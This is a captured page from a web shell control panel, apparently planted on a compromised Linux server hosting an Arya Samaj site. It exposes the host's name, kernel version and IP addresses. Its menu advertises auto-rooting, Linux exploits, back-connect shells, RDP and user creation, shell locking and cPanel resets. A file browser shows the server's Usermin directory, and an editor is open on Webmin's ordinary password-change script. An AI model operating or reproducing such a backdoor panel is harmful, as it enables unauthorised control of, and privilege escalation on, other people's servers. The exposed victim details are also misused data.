Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
usermin /
[ HOME SHELL ]
Name
Size
Permission
Action
JSON
[ DIR ]
drwxr-xr-x
WebminUI
[ DIR ]
drwxr-xr-x
at
[ DIR ]
drwxr-xr-x
authentic-theme
[ DIR ]
drwxr-xr-x
blue-theme
[ DIR ]
drwxr-xr-x
changepass
[ DIR ]
drwxr-xr-x
chfn
[ DIR ]
drwxr-xr-x
commands
[ DIR ]
drwxr-xr-x
cron
[ DIR ]
drwxr-xr-x
cshrc
[ DIR ]
drwxr-xr-x
fetchmail
[ DIR ]
drwxr-xr-x
file
[ DIR ]
drwxr-xr-x
filemin
[ DIR ]
drwxr-xr-x
filter
[ DIR ]
drwxr-xr-x
forward
[ DIR ]
drwxr-xr-x
gnupg
[ DIR ]
drwxr-xr-x
gray-theme
[ DIR ]
drwxr-xr-x
htaccess
[ DIR ]
drwxr-xr-x
htaccess-htpasswd
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
language
[ DIR ]
drwxr-xr-x
mailbox
[ DIR ]
drwxr-xr-x
mailcap
[ DIR ]
drwxr-xr-x
man
[ DIR ]
drwxr-xr-x
mysql
[ DIR ]
drwxr-xr-x
plan
[ DIR ]
drwxr-xr-x
postgresql
[ DIR ]
drwxr-xr-x
proc
[ DIR ]
drwxr-xr-x
procmail
[ DIR ]
drwxr-xr-x
quota
[ DIR ]
drwxr-xr-x
schedule
[ DIR ]
drwxr-xr-x
shell
[ DIR ]
drwxr-xr-x
spam
[ DIR ]
drwxr-xr-x
ssh
[ DIR ]
drwxr-xr-x
telnet
[ DIR ]
drwxr-xr-x
theme
[ DIR ]
drwxr-xr-x
tunnel
[ DIR ]
drwxr-xr-x
twofactor
[ DIR ]
drwxr-xr-x
ulang
[ DIR ]
drwxr-xr-x
updown
[ DIR ]
drwxr-xr-x
usermount
[ DIR ]
drwxr-xr-x
LICENCE
1.48
KB
-rw-r--r--
LICENCE.ja
1.62
KB
-rw-r--r--
README
1.93
KB
-rw-r--r--
WebminCore.pm
7.65
KB
-rw-r--r--
acl_security.pl
2.89
KB
-rwxr-xr-x
chooser.cgi
7.21
KB
-rwxr-xr-x
config-aix
227
B
-rw-r--r--
config-cobalt-linux
264
B
-rw-r--r--
config-coherent-linux
264
B
-rw-r--r--
config-corel-linux
264
B
-rw-r--r--
config-debian-linux
264
B
-rw-r--r--
config-freebsd
256
B
-rw-r--r--
config-generic-linux
264
B
-rw-r--r--
config-gentoo-linux
264
B
-rw-r--r--
config-hpux
243
B
-rw-r--r--
config-irix
284
B
-rw-r--r--
config-lib.pl
10.83
KB
-rwxr-xr-x
config-macos
260
B
-rw-r--r--
config-mandrake-linux
278
B
-rw-r--r--
config-msc-linux
264
B
-rw-r--r--
config-netbsd
283
B
-rw-r--r--
config-open-linux
264
B
-rw-r--r--
config-openbsd
241
B
-rw-r--r--
config-openmamba-linux
264
B
-rw-r--r--
config-openserver
236
B
-rw-r--r--
config-osf1
266
B
-rw-r--r--
config-redhat-linux
264
B
-rw-r--r--
config-slackware-linux
280
B
-rw-r--r--
config-sol-linux
264
B
-rw-r--r--
config-solaris
417
B
-rw-r--r--
config-suse-linux
264
B
-rw-r--r--
config-trustix-linux
264
B
-rw-r--r--
config-turbo-linux
264
B
-rw-r--r--
config-united-linux
264
B
-rw-r--r--
config-unixware
286
B
-rw-r--r--
copyconfig.pl
4.33
KB
-rwxr-xr-x
date_chooser.cgi
2.19
KB
-rwxr-xr-x
defaultacl
98
B
-rw-r--r--
defaulttheme
16
B
-rw-r--r--
entities_map.txt
1.47
KB
-rw-r--r--
favicon.ico
14.73
KB
-rw-r--r--
feedback.cgi
6.37
KB
-rwxr-xr-x
feedback_form.cgi
3.45
KB
-rwxr-xr-x
group_chooser.cgi
7.36
KB
-rwxr-xr-x
help.cgi
2.06
KB
-rwxr-xr-x
index.cgi
5.55
KB
-rwxr-xr-x
install-module.pl
1.27
KB
-rwxr-xr-x
install-type
4
B
-rw-r--r--
javascript-lib.pl
14.69
KB
-rwxr-xr-x
lang_list.txt
3.41
KB
-rw-r--r--
maketemp.pl
424
B
-rwxr-xr-x
mime.types
12.42
KB
-rw-r--r--
miniserv.pem
974
B
-rw-r--r--
miniserv.pl
171.07
KB
-rwxr-xr-x
newmods.pl
1.25
KB
-rwxr-xr-x
os_list.txt
33.58
KB
-rw-r--r--
oschooser.pl
4.55
KB
-rwxr-xr-x
pam_login.cgi
2.65
KB
-rwxr-xr-x
password_change.cgi
7
KB
-rwxr-xr-x
password_form.cgi
1.3
KB
-rwxr-xr-x
perlpath.pl
571
B
-rwxr-xr-x
robots.txt
26
B
-rw-r--r--
rpm-name
8
B
-rw-r--r--
session_login.cgi
3.35
KB
-rwxr-xr-x
setup.sh
24.78
KB
-rwxr-xr-x
switch_user.cgi
404
B
-rwxr-xr-x
thirdparty.pl
1.73
KB
-rwxr-xr-x
uconfig.cgi
1.39
KB
-rwxr-xr-x
uconfig_save.cgi
1.46
KB
-rwxr-xr-x
ui-lib.pl
82.48
KB
-rwxr-xr-x
update-from-repo.sh
14.8
KB
-rwxr-xr-x
updateboot.pl
1.89
KB
-rwxr-xr-x
uptracker.cgi
2.88
KB
-rwxr-xr-x
user_chooser.cgi
7.29
KB
-rwxr-xr-x
usermin-debian-pam
104
B
-rw-r--r--
usermin-init
1.88
KB
-rwxr-xr-x
usermin-pam
101
B
-rw-r--r--
usermin-pam-osx
243
B
-rw-r--r--
usermin-systemd
352
B
-rw-r--r--
version
6
B
-rw-r--r--
web-lib-funcs.pl
328.14
KB
-rwxr-xr-x
web-lib.pl
907
B
-rwxr-xr-x
webmin-search-lib.pl
8.93
KB
-rwxr-xr-x
webmin_search.cgi
2.63
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : password_change.cgi
#!/usr/bin/perl # password_change.cgi # Actually update a user's password by directly modifying /etc/shadow BEGIN { push(@INC, "."); }; use WebminCore; $ENV{'MINISERV_INTERNAL'} || die "Can only be called by miniserv.pl"; &init_config(); &ReadParse(); &get_miniserv_config(\%miniserv); $miniserv{'passwd_mode'} == 2 || die "Password changing is not enabled!"; # Validate inputs $in{'new1'} ne '' || &pass_error($text{'password_enew1'}); $in{'new1'} eq $in{'new2'} || &pass_error($text{'password_enew2'}); # Is this a Webmin user? if (&foreign_check("acl")) { &foreign_require("acl", "acl-lib.pl"); ($wuser) = grep { $_->{'name'} eq $in{'user'} } &acl::list_users(); if ($wuser) { if ($wuser->{'pass'} eq 'x') { # A Webmin user, but using Unix authentication $wuser = undef; } elsif ($wuser->{'pass'} eq '*LK*' || $wuser->{'pass'} =~ /^\!/) { &pass_error("Webmin users with locked accounts cannot change ". "their passwords!"); } } } if (!$in{'pam'} && !$wuser) { $miniserv{'passwd_cindex'} ne '' && $miniserv{'passwd_mindex'} ne '' || die "Missing password file configuration"; } if ($wuser) { # Update Webmin user's password $ok = &acl::validate_password($in{'old'}, $wuser->{'pass'}); $ok || &pass_error($text{'password_eold'}); $perr = &acl::check_password_restrictions($in{'user'}, $in{'new1'}); $perr && &pass_error(&text('password_enewpass', $perr)); $wuser->{'pass'} = &acl::encrypt_password($in{'new1'}); $wuser->{'temppass'} = 0; &acl::modify_user($wuser->{'name'}, $wuser); &reload_miniserv(); } elsif ($gconfig{'passwd_cmd'}) { # Use some configured command $passwd_cmd = &has_command($gconfig{'passwd_cmd'}); $passwd_cmd || &pass_error("The password change command <tt>$gconfig{'passwd_cmd'}</tt> was not found"); &foreign_require("proc", "proc-lib.pl"); &clean_environment(); $ENV{'REMOTE_USER'} = $in{'user'}; # some programs need this $passwd_cmd .= " ".quotemeta($in{'user'}); ($fh, $fpid) = &proc::pty_process_exec($passwd_cmd, 0, 0); &reset_environment(); while(1) { local $rv = &wait_for($fh, '(new|re-enter).*:', '(old|current|login).*:', 'pick a password', 'too\s+many\s+failures', 'attributes\s+changed\s+on|successfully\s+changed', 'pick your passwords'); $out .= $wait_for_input; sleep(1); if ($rv == 0) { # Prompt for the new password syswrite($fh, $in{'new1'}."\n", length($in{'new1'})+1); } elsif ($rv == 1) { # Prompt for the old password syswrite($fh, $in{'old'}."\n", length($in{'old'})+1); } elsif ($rv == 2) { # Request for a menu option (SCO?) syswrite($fh, "1\n", 2); } elsif ($rv == 3) { # Failed too many times last; } elsif ($rv == 4) { # All done last; } elsif ($rv == 5) { # Request for a menu option (HP/UX) syswrite($fh, "p\n", 2); } else { last; } last if (++$count > 10); } $crv = close($fh); sleep(1); waitpid($fpid, 1); if ($? || $count > 10 || $out =~ /error|failed/i || $out =~ /bad\s+password/i) { &pass_error("<tt>".&html_escape($out)."</tt>"); } } elsif ($in{'pam'}) { # Use PAM to make the change.. eval "use Authen::PAM;"; if ($@) { &pass_error(&text('password_emodpam', $@)); } # Check if the old password is correct $service = $miniserv{'pam'} ? $miniserv{'pam'} : "webmin"; $pamh = new Authen::PAM($service, $in{'user'}, \&pam_check_func); $rv = $pamh->pam_authenticate(); $rv == PAM_SUCCESS() || &pass_error($text{'password_eold'}); $pamh = undef; # Change the password with PAM, in a sub-process. This is needed because # the UID must be changed to properly signal to the PAM libraries that # the password change is not being done by the root user. $temp = &transname(); $pid = fork(); @uinfo = getpwnam($in{'user'}); if (!$pid) { ($>, $<) = (0, $uinfo[2]); $pamh = new Authen::PAM("passwd", $in{'user'}, \&pam_change_func); $rv = $pamh->pam_chauthtok(); open(TEMP, ">$temp"); print TEMP "$rv\n"; print TEMP ($messages || $pamh->pam_strerror($rv)),"\n"; close(TEMP); exit(0); } waitpid($pid, 0); open(TEMP, "<$temp"); chop($rv = <TEMP>); chop($messages = <TEMP>); close(TEMP); unlink($temp); $rv == PAM_SUCCESS || &pass_error(&text('password_epam', $messages)); $pamh = undef; } else { # Directly update password file # Read shadow file and find user &lock_file($miniserv{'passwd_file'}); $lref = &read_file_lines($miniserv{'passwd_file'}); for($i=0; $i<@$lref; $i++) { @line = split(/:/, $lref->[$i], -1); local $u = $line[$miniserv{'passwd_uindex'}]; if ($u eq $in{'user'}) { $idx = $i; last; } } defined($idx) || &pass_error($text{'password_euser'}); # Validate old password &unix_crypt($in{'old'}, $line[$miniserv{'passwd_pindex'}]) eq $line[$miniserv{'passwd_pindex'}] || &pass_error($text{'password_eold'}); # Make sure new password meets restrictions if (&foreign_check("changepass")) { &foreign_require("changepass", "changepass-lib.pl"); $err = &changepass::check_password($in{'new1'}, $in{'user'}); &pass_error($err) if ($err); } elsif (&foreign_check("useradmin")) { &foreign_require("useradmin", "user-lib.pl"); $err = &useradmin::check_password_restrictions( $in{'new1'}, $in{'user'}); &pass_error($err) if ($err); } # Set new password and save file $salt = chr(int(rand(26))+65) . chr(int(rand(26))+65); $line[$miniserv{'passwd_pindex'}] = &unix_crypt($in{'new1'}, $salt); $days = int(time()/(24*60*60)); $line[$miniserv{'passwd_cindex'}] = $days; $lref->[$idx] = join(":", @line); &flush_file_lines(); &unlock_file($miniserv{'passwd_file'}); } # Change password in Usermin too if (&get_product_name() eq 'usermin' && &foreign_check("changepass")) { &foreign_require("changepass", "changepass-lib.pl"); &changepass::change_mailbox_passwords( $in{'user'}, $in{'old'}, $in{'new1'}); &changepass::change_samba_password( $in{'user'}, $in{'old'}, $in{'new1'}); } # Show ok page &header(undef, undef, undef, undef, 1, 1); print &ui_alert_box(&text('password_done', "/"), "success"); &footer(); sub pass_error { &header(undef, undef, undef, undef, 1, 1, undef, undef); print &ui_alert_box("$text{'password_err'}: @_.", "danger"); &footer(); exit; } sub pam_check_func { my @res; while ( @_ ) { my $code = shift; my $msg = shift; my $ans = ""; $ans = $in{'user'} if ($code == PAM_PROMPT_ECHO_ON()); $ans = $in{'old'} if ($code == PAM_PROMPT_ECHO_OFF()); push @res, PAM_SUCCESS(); push @res, $ans; } push @res, PAM_SUCCESS(); return @res; } sub pam_change_func { my @res; while ( @_ ) { my $code = shift; my $msg = shift; my $ans = ""; $messages = $msg; if ($code == PAM_PROMPT_ECHO_ON()) { # Assume asking for username push @res, PAM_SUCCESS(); push @res, $in{'user'}; } elsif ($code == PAM_PROMPT_ECHO_OFF()) { # Assume asking for a password (old first, then new) push @res, PAM_SUCCESS(); if ($msg =~ /old|current|login/i) { push @res, $in{'old'}; } else { push @res, $in{'new1'}; } } else { # Some message .. ignore it push @res, PAM_SUCCESS(); push @res, undef; } } push @res, PAM_SUCCESS(); return @res; }
Close